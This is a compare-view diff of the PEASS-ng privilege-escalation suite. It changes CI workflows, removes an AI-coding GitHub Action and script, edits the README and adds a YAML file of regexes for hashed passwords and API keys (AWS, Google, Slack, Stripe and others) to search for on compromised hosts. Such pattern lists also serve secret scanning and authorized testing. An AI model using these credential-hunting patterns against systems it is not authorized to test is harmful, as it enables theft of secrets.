mirror of
https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite.git
synced 2025-12-06 17:11:29 +00:00
Compare commits
1 Commits
aicoder
...
refs/pull/
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
d63d1ef32b |
2
.github/FUNDING.yml
vendored
2
.github/FUNDING.yml
vendored
@@ -1 +1 @@
|
||||
custom: ['https://github.com/sponsors/carlospolop']
|
||||
custom: ['https://www.patreon.com/peass']
|
||||
|
||||
1
.github/ISSUE_TEMPLATE.md
vendored
1
.github/ISSUE_TEMPLATE.md
vendored
@@ -1,5 +1,4 @@
|
||||
If you are going to suggest something, please remove the following template.
|
||||
If your issue is related with WinPEAS.ps1 please mention https://github.com/RandolphConley
|
||||
|
||||
#### Issue description
|
||||
|
||||
|
||||
125
.github/workflows/CI-master_tests.yml
vendored
125
.github/workflows/CI-master_tests.yml
vendored
@@ -1,14 +1,9 @@
|
||||
name: CI-master_test
|
||||
|
||||
on:
|
||||
push:
|
||||
pull_request:
|
||||
branches:
|
||||
- master
|
||||
paths-ignore:
|
||||
- '.github/**'
|
||||
|
||||
schedule:
|
||||
- cron: "5 4 * * SUN"
|
||||
|
||||
workflow_dispatch:
|
||||
|
||||
@@ -29,10 +24,6 @@ jobs:
|
||||
with:
|
||||
ref: ${{ github.head_ref }}
|
||||
|
||||
- name: Download regexes
|
||||
run: |
|
||||
powershell.exe -ExecutionPolicy Bypass -File build_lists/download_regexes.ps1
|
||||
|
||||
# Add MSBuild to the PATH: https://github.com/microsoft/setup-msbuild
|
||||
- name: Setup MSBuild.exe
|
||||
uses: microsoft/setup-msbuild@v1.0.2
|
||||
@@ -49,9 +40,9 @@ jobs:
|
||||
- name: run MSBuild
|
||||
run: msbuild $env:Solution_Path
|
||||
|
||||
# Execute all unit tests in the solution - It's broken :(
|
||||
#- name: Execute unit tests
|
||||
# run: dotnet test $env:Solution_Path
|
||||
# Execute all unit tests in the solution
|
||||
- name: Execute unit tests
|
||||
run: dotnet test $env:Solution_Path
|
||||
|
||||
# Build & update all versions
|
||||
- name: Build all versions
|
||||
@@ -93,9 +84,9 @@ jobs:
|
||||
# copy the files
|
||||
- name: Copy Dotfuscator generated files
|
||||
run: |
|
||||
cp $env:DotFuscatorGeneratedPath\x64\winPEASx64.exe "winPEAS\winPEASexe\binaries\Obfuscated Releases\winPEASx64_ofs.exe"
|
||||
cp $env:DotFuscatorGeneratedPath\x86\winPEASx86.exe "winPEAS\winPEASexe\binaries\Obfuscated Releases\winPEASx86_ofs.exe"
|
||||
cp $env:DotFuscatorGeneratedPath\any\winPEASany.exe "winPEAS\winPEASexe\binaries\Obfuscated Releases\winPEASany_ofs.exe"
|
||||
cp $env:DotFuscatorGeneratedPath\x64\winPEASx64.exe "winPEAS\winPEASexe\binaries\Obfuscated Releases\winPEASx64.exe"
|
||||
cp $env:DotFuscatorGeneratedPath\x86\winPEASx86.exe "winPEAS\winPEASexe\binaries\Obfuscated Releases\winPEASx86.exe"
|
||||
cp $env:DotFuscatorGeneratedPath\any\winPEASany.exe "winPEAS\winPEASexe\binaries\Obfuscated Releases\winPEASany.exe"
|
||||
|
||||
# Upload all the versions for the release
|
||||
- name: Upload winpeasx64
|
||||
@@ -120,19 +111,19 @@ jobs:
|
||||
uses: actions/upload-artifact@v2
|
||||
with:
|
||||
name: winPEASx64_ofs.exe
|
||||
path: winPEAS\winPEASexe\binaries\Obfuscated Releases\winPEASx64_ofs.exe
|
||||
path: winPEAS\winPEASexe\binaries\Obfuscated Releases\winPEASx64.exe
|
||||
|
||||
- name: Upload winpeasx86ofs
|
||||
uses: actions/upload-artifact@v2
|
||||
with:
|
||||
name: winPEASx86_ofs.exe
|
||||
path: winPEAS\winPEASexe\binaries\Obfuscated Releases\winPEASx86_ofs.exe
|
||||
path: winPEAS\winPEASexe\binaries\Obfuscated Releases\winPEASx86.exe
|
||||
|
||||
- name: Upload winpeasanyofs
|
||||
uses: actions/upload-artifact@v2
|
||||
with:
|
||||
name: winPEASany_ofs.exe
|
||||
path: winPEAS\winPEASexe\binaries\Obfuscated Releases\winPEASany_ofs.exe
|
||||
path: winPEAS\winPEASexe\binaries\Obfuscated Releases\winPEASany.exe
|
||||
|
||||
- name: Upload winpeas.bat
|
||||
uses: actions/upload-artifact@v2
|
||||
@@ -140,12 +131,6 @@ jobs:
|
||||
name: winPEAS.bat
|
||||
path: winPEAS\winPEASbat\winPEAS.bat
|
||||
|
||||
- name: Upload winpeas.ps1
|
||||
uses: actions/upload-artifact@v2
|
||||
with:
|
||||
name: winPEAS.ps1
|
||||
path: winPEAS\winPEASps1\winPEAS.ps1
|
||||
|
||||
# Git add
|
||||
#- name: Create local changes
|
||||
# run: |
|
||||
@@ -210,36 +195,8 @@ jobs:
|
||||
run: linPEAS/linpeas.sh -h
|
||||
|
||||
# Run linpeas as a test
|
||||
- name: Run linpeas system_information
|
||||
run: linPEAS/linpeas.sh -o system_information -a
|
||||
|
||||
- name: Run linpeas container
|
||||
run: linPEAS/linpeas.sh -o container -a
|
||||
|
||||
- name: Run linpeas cloud
|
||||
run: linPEAS/linpeas.sh -o cloud -a
|
||||
|
||||
- name: Run linpeas procs_crons_timers_srvcs_sockets
|
||||
run: linPEAS/linpeas.sh -o procs_crons_timers_srvcs_sockets -a
|
||||
|
||||
- name: Run linpeas network_information
|
||||
run: linPEAS/linpeas.sh -o network_information -t -a
|
||||
|
||||
- name: Run linpeas users_information
|
||||
run: linPEAS/linpeas.sh -o users_information -a
|
||||
|
||||
- name: Run linpeas software_information
|
||||
run: linPEAS/linpeas.sh -o software_information -a
|
||||
|
||||
- name: Run linpeas interesting_perms_files
|
||||
run: linPEAS/linpeas.sh -o interesting_perms_files -a
|
||||
|
||||
- name: Run linpeas interesting_files
|
||||
run: linPEAS/linpeas.sh -o interesting_files -a
|
||||
|
||||
# Too much time
|
||||
#- name: Run linpeas api_keys_regex
|
||||
# run: linPEAS/linpeas.sh -o api_keys_regex -r
|
||||
- name: Run linpeas
|
||||
run: linPEAS/linpeas.sh -t -e
|
||||
|
||||
# Upload files for release
|
||||
- name: Upload linpeas.sh
|
||||
@@ -248,12 +205,6 @@ jobs:
|
||||
name: linpeas.sh
|
||||
path: linPEAS/linpeas.sh
|
||||
|
||||
- name: Upload linpeas_fat.sh
|
||||
uses: actions/upload-artifact@v2
|
||||
with:
|
||||
name: linpeas_fat.sh
|
||||
path: linPEAS/linpeas_fat.sh
|
||||
|
||||
## Linux bins
|
||||
- name: Upload linpeas_linux_386
|
||||
uses: actions/upload-artifact@v2
|
||||
@@ -331,8 +282,8 @@ jobs:
|
||||
run: linPEAS/linpeas.sh -h
|
||||
|
||||
# Run macpeas parts to test it
|
||||
#- name: Run macpeas
|
||||
# run: linPEAS/linpeas.sh -D -o system_information,container,procs_crons_timers_srvcs_sockets,network_information,users_information,software_information
|
||||
- name: Run macpeas
|
||||
run: linPEAS/linpeas.sh -o system_information,container,procs_crons_timers_srvcs_sockets,network_information,users_information,software_information
|
||||
|
||||
|
||||
Publish_release:
|
||||
@@ -341,21 +292,6 @@ jobs:
|
||||
|
||||
steps:
|
||||
# Download files to release
|
||||
- name: Download winpeasx64ofs
|
||||
uses: actions/download-artifact@v2
|
||||
with:
|
||||
name: winPEASx64_ofs.exe
|
||||
|
||||
- name: Download winpeasx86ofs
|
||||
uses: actions/download-artifact@v2
|
||||
with:
|
||||
name: winPEASx86_ofs.exe
|
||||
|
||||
- name: Download winpeasanyofs
|
||||
uses: actions/download-artifact@v2
|
||||
with:
|
||||
name: winPEASany_ofs.exe
|
||||
|
||||
- name: Download winpeasx64
|
||||
uses: actions/download-artifact@v2
|
||||
with:
|
||||
@@ -371,6 +307,21 @@ jobs:
|
||||
with:
|
||||
name: winPEASany.exe
|
||||
|
||||
- name: Download winpeasx64ofs
|
||||
uses: actions/download-artifact@v2
|
||||
with:
|
||||
name: winPEASx64_ofs.exe
|
||||
|
||||
- name: Download winpeasx86ofs
|
||||
uses: actions/download-artifact@v2
|
||||
with:
|
||||
name: winPEASx86_ofs.exe
|
||||
|
||||
- name: Download winpeasanyofs
|
||||
uses: actions/download-artifact@v2
|
||||
with:
|
||||
name: winPEASany_ofs.exe
|
||||
|
||||
- name: Download winpeas.bat
|
||||
uses: actions/download-artifact@v2
|
||||
with:
|
||||
@@ -381,11 +332,6 @@ jobs:
|
||||
with:
|
||||
name: linpeas.sh
|
||||
|
||||
- name: Download linpeas_fat.sh
|
||||
uses: actions/download-artifact@v2
|
||||
with:
|
||||
name: linpeas_fat.sh
|
||||
|
||||
- name: Download linpeas_linux_386
|
||||
uses: actions/download-artifact@v2
|
||||
with:
|
||||
@@ -416,14 +362,6 @@ jobs:
|
||||
with:
|
||||
name: linpeas_darwin_arm64
|
||||
|
||||
- name: Get current date
|
||||
id: date
|
||||
run: echo "::set-output name=date::$(date +'%Y%m%d')"
|
||||
|
||||
- name: Generate random
|
||||
id: random_n
|
||||
run: echo "::set-output name=some_rand::$(openssl rand -hex 4)"
|
||||
|
||||
# Create the release
|
||||
- name: Create Release
|
||||
id: create_release
|
||||
@@ -431,8 +369,8 @@ jobs:
|
||||
env:
|
||||
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
|
||||
with:
|
||||
tag_name: ${{steps.date.outputs.date}}-${{steps.random_n.outputs.some_rand}}
|
||||
release_name: Release ${{ github.ref }} ${{steps.date.outputs.date}}-${{steps.random_n.outputs.some_rand}}
|
||||
tag_name: ${{ github.ref }}
|
||||
release_name: Release ${{ github.ref }}
|
||||
draft: false
|
||||
prerelease: false
|
||||
|
||||
@@ -443,3 +381,4 @@ jobs:
|
||||
assets_path: .
|
||||
env:
|
||||
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
|
||||
|
||||
|
||||
23
.github/workflows/aicoder.yml
vendored
23
.github/workflows/aicoder.yml
vendored
@@ -1,23 +0,0 @@
|
||||
name: aicoder
|
||||
|
||||
on:
|
||||
workflow_dispatch:
|
||||
|
||||
jobs:
|
||||
Build_and_test_winpeas_master:
|
||||
runs-on: ubuntu-latest
|
||||
|
||||
steps:
|
||||
# checkout
|
||||
- name: AICoder GH Action
|
||||
uses: AICoderHub/GH_Action@v0.11
|
||||
with:
|
||||
INPUT_MODE: 'file-optimizer'
|
||||
INPUT_PROMPT: ''
|
||||
INPUT_OPENAI_API_KEY: ${{ secrets.OPENAI_API_KEY }}
|
||||
INPUT_MODEL: 'gpt-4'
|
||||
TEMPLATE_FILES: ''
|
||||
ORIGIN_BRANCH: 'aicoder'
|
||||
TO_BRANCH: 'master'
|
||||
CHECK_PATH: './parsers/json2pdf.py'
|
||||
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
|
||||
4
.gitignore
vendored
4
.gitignore
vendored
@@ -26,7 +26,3 @@ linPEAS/builder/src/__pycache__/*
|
||||
linPEAS/linpeas.sh
|
||||
sh2bin
|
||||
sh2bin/*
|
||||
.dccache
|
||||
./*/.dccache
|
||||
regexes.yaml
|
||||
build_lists/regexes.yaml
|
||||
208
AICoder.py
208
AICoder.py
@@ -1,208 +0,0 @@
|
||||
import argparse
|
||||
import os
|
||||
import sys
|
||||
import string
|
||||
import random
|
||||
from typing import List
|
||||
import openai
|
||||
import json
|
||||
import subprocess
|
||||
import tiktoken
|
||||
import requests
|
||||
from github import Github
|
||||
|
||||
#########################
|
||||
#### OPENAI FUNCTIONS ###
|
||||
#########################
|
||||
|
||||
def reportTokens(prompt, model="gpt-4"):
|
||||
encoding = tiktoken.encoding_for_model(model)
|
||||
print("\033[37m" + str(len(encoding.encode(prompt))) + " tokens\033[0m" + " in prompt: " + "\033[92m" + prompt[:50] + "\033[0m" + ("..." if len(prompt) > 50 else ""))
|
||||
|
||||
def write_file(file_path: str, content: str):
|
||||
"""Write content to a file creating the needed directories first"""
|
||||
os.makedirs(os.path.dirname(file_path), exist_ok=True)
|
||||
|
||||
with open(file_path, "w") as file:
|
||||
file.write(content)
|
||||
|
||||
def delete_file(file_path: str):
|
||||
"""Delete a file if it exists"""
|
||||
|
||||
if os.path.isfile(file_path):
|
||||
os.remove(file_path)
|
||||
|
||||
openai_available_functions = {
|
||||
"write_file": write_file, "delete_file": delete_file
|
||||
}
|
||||
|
||||
openai_functions = [
|
||||
{
|
||||
"name": "write_file",
|
||||
"description": "Write a file giving the path and the content",
|
||||
"parameters": {
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"file_path": {
|
||||
"type": "string",
|
||||
"description": "Path to the file to write",
|
||||
},
|
||||
"content": {
|
||||
"type": "string",
|
||||
"description": "Content to write in the file",
|
||||
},
|
||||
},
|
||||
"required": ["file_path", "content"],
|
||||
},
|
||||
},
|
||||
{
|
||||
"name": "delete_file",
|
||||
"description": "Delete a file",
|
||||
"parameters": {
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"file_path": {
|
||||
"type": "string",
|
||||
"description": "Path to the file to write",
|
||||
}
|
||||
},
|
||||
"required": ["file_path"],
|
||||
},
|
||||
}
|
||||
]
|
||||
|
||||
|
||||
#########################
|
||||
#### GIT FUNCTIONS ######
|
||||
#########################
|
||||
|
||||
|
||||
def create_pull_request(branch_name, commit_message, github_token):
|
||||
github = Github(github_token)
|
||||
repo = github.get_repo(os.environ["GITHUB_REPOSITORY"])
|
||||
|
||||
# Create a new branch
|
||||
base_branch = repo.get_branch(repo.default_branch)
|
||||
repo.create_git_ref(ref=f"refs/heads/{branch_name}", sha=base_branch.commit.sha)
|
||||
|
||||
# Commit changes to the new branch
|
||||
subprocess.run(["git", "checkout", branch_name])
|
||||
subprocess.run(["git", "add", "."])
|
||||
subprocess.run(["git", "commit", "-m", commit_message])
|
||||
subprocess.run(["git", "push", "origin", branch_name])
|
||||
|
||||
# Create a pull request
|
||||
pr = repo.create_pull(
|
||||
title=commit_message,
|
||||
body="Generated by OpenAI Github Action",
|
||||
head=branch_name,
|
||||
base=repo.default_branch
|
||||
)
|
||||
|
||||
return pr.html_url
|
||||
|
||||
|
||||
#########################
|
||||
#### FILE PROCESSING ####
|
||||
#########################
|
||||
|
||||
|
||||
def process_file(prompt: str, api_key: str, file_path: str, model: str="gpt-4") -> str:
|
||||
with open(file_path, "r") as file:
|
||||
file_content = file.read()
|
||||
|
||||
messages = [
|
||||
{"role": "system", "content": f"You are a developer and your goal is to generate code. The user will ask you to improve and modify some code. Your response must be a valid JSON with the path of each file to write as keys and the content of the files as values. Several files can be written at the same time."},
|
||||
{"role": "user", "content": prompt},
|
||||
{"role": "user", "content": f"This is the code from the file '{file_path}':\n\n{file_content}"}
|
||||
]
|
||||
openai.api_key = api_key
|
||||
|
||||
reportTokens(f"This is the code from the file '{file_path}':\n\n{file_content}")
|
||||
|
||||
response = openai.ChatCompletion.create(
|
||||
model=model,
|
||||
messages=messages,
|
||||
temperature=0
|
||||
)
|
||||
response_message = response["choices"][0]["message"]
|
||||
|
||||
# Step 2: check if GPT wanted to call a function
|
||||
if response_message.get("function_call"):
|
||||
|
||||
function_name = response_message["function_call"]["name"]
|
||||
fuction_to_call = openai_available_functions[function_name]
|
||||
function_args = json.loads(response_message["function_call"]["arguments"])
|
||||
fuction_to_call(**function_args)
|
||||
|
||||
|
||||
def process_folder(prompt: str, api_key: str, folder_path: str, model: str="gpt-4") -> List[str]:
|
||||
responses = []
|
||||
for root, _, files in os.walk(folder_path):
|
||||
for file in files:
|
||||
file_path = os.path.join(root, file)
|
||||
response = process_file(prompt, api_key, file_path, model)
|
||||
responses.append(response)
|
||||
|
||||
|
||||
#########################
|
||||
#### MAIN FUNCTION ######
|
||||
#########################
|
||||
|
||||
|
||||
def get_random_string(length):
|
||||
# With combination of lower and upper case
|
||||
letters = string.ascii_letters
|
||||
result_str = ''.join(random.choice(letters) for i in range(length))
|
||||
return result_str
|
||||
|
||||
def main(prompt: str, api_key: str, file_path: str, github_token: str, model: str="gpt-4"):
|
||||
if os.path.isfile(file_path):
|
||||
process_file(prompt, api_key, file_path, model)
|
||||
elif os.path.isdir(file_path):
|
||||
process_folder(prompt, api_key, file_path, model)
|
||||
else:
|
||||
print("Error: Invalid file path.")
|
||||
sys.exit(1)
|
||||
|
||||
try:
|
||||
create_pull_request(get_random_string(5), f"Modified {file_path}", github_token)
|
||||
except Exception as e:
|
||||
print(f"Error: Failed to create pull request. {e}")
|
||||
sys.exit(1)
|
||||
|
||||
if __name__ == "__main__":
|
||||
# Setup the argument parser
|
||||
parser = argparse.ArgumentParser()
|
||||
|
||||
# Add arguments for prompt, api_key, file_path and github_token
|
||||
parser.add_argument('--prompt', default=None, type=str, help='Input prompt')
|
||||
parser.add_argument('--api-key', default=None, type=str, help='Input API key')
|
||||
parser.add_argument('--path', default=None, type=str, help='Input file/folder path')
|
||||
parser.add_argument('--github-token', default=None, type=str, help='Github token')
|
||||
parser.add_argument('--model', default="gpt-4", type=str, help='Model to use')
|
||||
|
||||
# Parse the arguments
|
||||
args = parser.parse_args()
|
||||
prompt = os.environ.get("INPUT_PROMPT", args.prompt)
|
||||
api_key = os.environ.get("INPUT_API_KEY", args.api_key)
|
||||
file_path = os.environ.get("INPUT_FILE_PATH", args.path)
|
||||
github_token = os.environ.get("GITHUB_TOKEN", args.github_token)
|
||||
model = os.environ.get("INPUT_MODEL", args.model)
|
||||
|
||||
if not prompt or not api_key or not file_path:
|
||||
print("Error: Missing required inputs.")
|
||||
sys.exit(1)
|
||||
|
||||
#if not github_token:
|
||||
# print("Error: Missing github token.")
|
||||
# sys.exit(1)
|
||||
|
||||
if os.path.exists(prompt):
|
||||
with open(prompt, "r") as file:
|
||||
prompt = file.read()
|
||||
|
||||
if prompt.startswith("http"):
|
||||
prompt = requests.get(prompt).text
|
||||
|
||||
main(prompt, api_key, file_path, github_token, model)
|
||||
24
README.md
24
README.md
@@ -12,34 +12,30 @@ Here you will find **privilege escalation tools for Windows and Linux/Unix\* and
|
||||
|
||||
These tools search for possible **local privilege escalation paths** that you could exploit and print them to you **with nice colors** so you can recognize the misconfigurations easily.
|
||||
|
||||
- Check the **Local Windows Privilege Escalation checklist** from **[book.hacktricks.xyz](https://book.hacktricks.xyz/windows-hardening/checklist-windows-privilege-escalation)**
|
||||
- Check the **Local Windows Privilege Escalation checklist** from **[book.hacktricks.xyz](https://book.hacktricks.xyz/windows/checklist-windows-privilege-escalation)**
|
||||
- **[WinPEAS](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) - Windows local Privilege Escalation Awesome Script (C#.exe and .bat)**
|
||||
|
||||
- Check the **Local Linux Privilege Escalation checklist** from **[book.hacktricks.xyz](https://book.hacktricks.xyz/linux-hardening/linux-privilege-escalation-checklist)**
|
||||
- Check the **Local Linux Privilege Escalation checklist** from **[book.hacktricks.xyz](https://book.hacktricks.xyz/linux-unix/linux-privilege-escalation-checklist)**
|
||||
- **[LinPEAS](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) - Linux local Privilege Escalation Awesome Script (.sh)**
|
||||
|
||||
## Quick Start
|
||||
Find the **latest versions of all the scripts and binaries in [the releases page](https://github.com/carlospolop/PEASS-ng/releases/latest)**.
|
||||
|
||||
## JSON, HTML & PDF output
|
||||
Check the **[parsers](./parsers/)** directory to **transform PEASS outputs to JSON, HTML and PDF**
|
||||
|
||||
## Support PEASS-ng and HackTricks and get benefits
|
||||
|
||||
Do you want to have **access the latest version of Hacktricks and PEASS**, obtain a **PDF copy of Hacktricks**, and more? Discover the **brand new [SUBSCRIPTION PLANS](https://github.com/sponsors/carlospolop?frequency=one-time) for individuals and companies**.
|
||||
|
||||
**LinPEAS, WinPEAS and MacPEAS** aren’t enough for you? Welcome [**The PEASS Family**](https://opensea.io/collection/the-peass-family/), a limited collection of [**exclusive NFTs**](https://opensea.io/collection/the-peass-family/) of our favourite PEASS in disguise, designed by my team. Go **get your favourite and make it yours!** And if you are a **PEASS & Hacktricks enthusiast**, you can get your hands now on **our [custom swag](https://peass.creator-spring.com/) and show how much you like our projects!**
|
||||
|
||||
You can also, join the 💬 [Discord group](https://discord.gg/hRep4RUj7f) or the [telegram group](https://t.me/peass) to learn about latest news in cybersecurity and meet other cybersecurity enthusiasts, or follow me on Twitter 🐦 [@hacktricks_live](https://twitter.com/hacktricks_live).
|
||||
Find the **latest versions of all the scripts and binaries in [the releases page](https://github.com/carlospolop/PEASS-ng/releases/tag/refs%2Fheads%2Fmaster)**.
|
||||
|
||||
## Let's improve PEASS together
|
||||
|
||||
If you want to **add something** and have **any cool idea** related to this project, please let me know it in the **telegram group https://t.me/peass** or contribute reading the **[CONTRIBUTING.md](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/CONTRIBUTING.md)** file.
|
||||
|
||||
## PEASS Style
|
||||
|
||||
Are you a PEASS fan? Get now our merch at **[PEASS Shop](https://teespring.com/stores/peass)** and show your love for our favorite peas
|
||||
|
||||
## Advisory
|
||||
|
||||
All the scripts/binaries of the PEAS suite should be used for authorized penetration testing and/or educational purposes only. Any misuse of this software will not be the responsibility of the author or of any other collaborator. Use it at your own machines and/or with the owner's permission.
|
||||
|
||||
|
||||
## License
|
||||
|
||||
MIT License
|
||||
|
||||
By Polop<sup>(TM)</sup>
|
||||
|
||||
@@ -1,5 +0,0 @@
|
||||
$scriptDir = Split-Path -Parent $MyInvocation.MyCommand.Path
|
||||
$filePath = Join-Path $scriptDir "regexes.yaml"
|
||||
$url = "https://raw.githubusercontent.com/JaimePolop/RExpository/main/regex.yaml"
|
||||
|
||||
Invoke-WebRequest $url -OutFile $filePath
|
||||
@@ -1,24 +0,0 @@
|
||||
#!/usr/bin/env python3
|
||||
|
||||
import os
|
||||
import requests
|
||||
from pathlib import Path
|
||||
|
||||
|
||||
def download_regexes():
|
||||
print("[+] Downloading regexes...")
|
||||
url = "https://raw.githubusercontent.com/JaimePolop/RExpository/main/regex.yaml"
|
||||
response = requests.get(url)
|
||||
if response.status_code == 200:
|
||||
# Save the content of the response to a file
|
||||
script_folder = Path(os.path.dirname(os.path.abspath(__file__)))
|
||||
target_file = script_folder / 'regexes.yaml'
|
||||
|
||||
with open(target_file, "w") as file:
|
||||
file.write(response.text)
|
||||
print(f"Downloaded and saved in '{target_file}' successfully!")
|
||||
else:
|
||||
print("Error: Unable to download the regexes file.")
|
||||
exit(1)
|
||||
|
||||
download_regexes()
|
||||
@@ -1,2 +1,204 @@
|
||||
This is a placeholder.
|
||||
To fill this yaml execute one of the scripts download_regexes.py or download_regexes.ps1
|
||||
paths:
|
||||
- $HOMESEARCH
|
||||
- /etc
|
||||
- /opt
|
||||
- /tmp
|
||||
- /private
|
||||
- /Applications
|
||||
- /var/www
|
||||
- /var/log
|
||||
- /private/var/log
|
||||
- /usr/local/www/
|
||||
- $backup_folders_row
|
||||
|
||||
|
||||
regular_expresions:
|
||||
# Hashes passwords
|
||||
- name: Hashed Passwords
|
||||
regexes:
|
||||
- name: Apr1 MD5
|
||||
regex: '\$apr1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}'
|
||||
|
||||
- name: Apache SHA
|
||||
regex: '\{SHA\}[0-9a-zA-Z/_=]{10,}'
|
||||
|
||||
- name: Blowfish
|
||||
regex: '\$2[abxyz]?\$[0-9]{2}\$[a-zA-Z0-9_/\.]*'
|
||||
|
||||
- name: Drupal
|
||||
regex: '\$S\$[a-zA-Z0-9_/\.]{52}'
|
||||
|
||||
- name: Joomlavbulletin
|
||||
regex: '[0-9a-zA-Z]{32}:[a-zA-Z0-9_]{16,32}'
|
||||
|
||||
- name: Linux MD5
|
||||
regex: '\$1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}'
|
||||
|
||||
- name: phpbb3
|
||||
regex: '\$H\$[a-zA-Z0-9_/\.]{31}'
|
||||
|
||||
- name: sha512crypt
|
||||
regex: '\$6\$[a-zA-Z0-9_/\.]{16}\$[a-zA-Z0-9_/\.]{86}'
|
||||
|
||||
- name: Wordpress
|
||||
regex: '\$P\$[a-zA-Z0-9_/\.]{31}'
|
||||
|
||||
|
||||
# Raw Hashes
|
||||
- name: Raw Hashes
|
||||
regexes:
|
||||
#- name: md5 #Too many false positives
|
||||
# regex: '(^|[^a-zA-Z0-9])[a-fA-F0-9]{32}([^a-zA-Z0-9]|$)'
|
||||
|
||||
#- name: sha1 #Too many false positives
|
||||
# regex: '(^|[^a-zA-Z0-9])[a-fA-F0-9]{40}([^a-zA-Z0-9]|$)'
|
||||
|
||||
#- name: sha256 #Too many false positives
|
||||
# regex: '(^|[^a-zA-Z0-9])[a-fA-F0-9]{64}([^a-zA-Z0-9]|$)'
|
||||
|
||||
- name: sha512
|
||||
regex: '(^|[^a-zA-Z0-9])[a-fA-F0-9]{128}([^a-zA-Z0-9]|$)'
|
||||
|
||||
# APIs
|
||||
# https://github.com/l4yton/RegHex/blob/master/README.md
|
||||
- name: APIs
|
||||
regexes:
|
||||
#- name: Artifactory API Token # False +
|
||||
# regex: 'AKC[a-zA-Z0-9]{10,}' # False +
|
||||
|
||||
#- name: Artifactory Password
|
||||
# regex: 'AP[\dABCDEF][a-zA-Z0-9]{8,}'
|
||||
|
||||
#- name: Authorization Basic # Too many false positives
|
||||
# regex: 'basic [a-zA-Z0-9_:\.=\-]+'
|
||||
|
||||
#- name: Authorization Bearer # Too many false positives
|
||||
# regex: 'bearer [a-zA-Z0-9_\.=\-]+'
|
||||
|
||||
- name: AWS Client ID
|
||||
regex: '(A3T[A-Z0-9]|AKIA|AGPA|AIDA|AROA|AIPA|ANPA|ANVA|ASIA)[A-Z0-9]{16}'
|
||||
extra_grep: '-Ev ":#|:<\!\-\-"'
|
||||
|
||||
- name: AWS MWS Key
|
||||
regex: 'amzn\.mws\.[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}'
|
||||
|
||||
- name: AWS Secret Key
|
||||
regex: aws(.{0,20})?['"][0-9a-zA-Z\/+]{40}['"]
|
||||
|
||||
#- name: Base32 #Too many false positives
|
||||
# regex: '(?:[A-Z2-7]{8})*(?:[A-Z2-7]{2}={6}|[A-Z2-7]{4}={4}|[A-Z2-7]{5}={3}|[A-Z2-7]{7}=)?'
|
||||
|
||||
#- name: Base64 #Too many false positives
|
||||
# regex: '(eyJ|YTo|Tzo|PD[89]|aHR0cHM6L|aHR0cDo|rO0)[a-zA-Z0-9+/]+={0,2}'
|
||||
|
||||
- name: Basic Auth Credentials
|
||||
regex: '://[a-zA-Z0-9]+:[a-zA-Z0-9]+@[a-zA-Z0-9]+\.[a-zA-Z]+'
|
||||
|
||||
- name: Cloudinary Basic Auth
|
||||
regex: 'cloudinary://[0-9]{15}:[0-9A-Za-z]+@[a-z]+'
|
||||
|
||||
- name: Facebook Access Token
|
||||
regex: 'EAACEdEose0cBA[0-9A-Za-z]+'
|
||||
|
||||
- name: Facebook Client ID
|
||||
regex: ([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['"][0-9]{13,17}
|
||||
|
||||
- name: Facebook Oauth
|
||||
regex: >
|
||||
[fF][aA][cC][eE][bB][oO][oO][kK].*['|"][0-9a-f]{32}['|"]
|
||||
|
||||
- name: Facebook Secret Key
|
||||
regex: >
|
||||
([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['"][0-9a-f]{32}
|
||||
|
||||
- name: Github
|
||||
regex: >
|
||||
github(.{0,20})?['"][0-9a-zA-Z]{35,40}
|
||||
|
||||
- name: Google API Key
|
||||
regex: 'AIza[0-9A-Za-z_\-]{35}'
|
||||
|
||||
- name: Google Cloud Platform API Key
|
||||
regex: >
|
||||
(google|gcp|youtube|drive|yt)(.{0,20})?['"][AIza[0-9a-z_\-]{35}]['"]
|
||||
|
||||
- name: Google Drive Oauth
|
||||
regex: '[0-9]+-[0-9A-Za-z_]{32}\.apps\.googleusercontent\.com'
|
||||
|
||||
- name: Google Oauth Access Token
|
||||
regex: 'ya29\.[0-9A-Za-z_\-]+'
|
||||
|
||||
- name: Heroku API Key
|
||||
regex: '[hH][eE][rR][oO][kK][uU].{0,30}[0-9A-F]{8}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{12}'
|
||||
|
||||
- name: LinkedIn Client ID
|
||||
regex: >
|
||||
linkedin(.{0,20})?['"][0-9a-z]{12}['"]
|
||||
|
||||
- name: LinkedIn Secret Key
|
||||
regex: >
|
||||
linkedin(.{0,20})?['"][0-9a-z]{16}['"]
|
||||
|
||||
- name: Mailchamp API Key
|
||||
regex: '[0-9a-f]{32}-us[0-9]{1,2}'
|
||||
|
||||
- name: Mailgun API Key
|
||||
regex: 'key-[0-9a-zA-Z]{32}'
|
||||
|
||||
- name: Picatic API Key
|
||||
regex: 'sk_live_[0-9a-z]{32}'
|
||||
|
||||
- name: Slack Token
|
||||
regex: 'xox[baprs]-([0-9a-zA-Z]{10,48})?'
|
||||
|
||||
#- name: Slack Webhook #Not interesting
|
||||
# regex: 'https://hooks.slack.com/services/T[a-zA-Z0-9_]{10}/B[a-zA-Z0-9_]{10}/[a-zA-Z0-9_]{24}'
|
||||
|
||||
- name: Stripe API Key
|
||||
regex: 'k_live_[0-9a-zA-Z]{24}'
|
||||
|
||||
- name: Square Access Token
|
||||
regex: 'sqOatp-[0-9A-Za-z_\-]{22}'
|
||||
|
||||
- name: Square Oauth Secret
|
||||
regex: 'sq0csp-[ 0-9A-Za-z_\-]{43}'
|
||||
|
||||
- name: Twilio API Key
|
||||
regex: 'SK[0-9a-fA-F]{32}'
|
||||
|
||||
- name: Twitter Client ID
|
||||
regex: >
|
||||
[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['"][0-9a-z]{18,25}
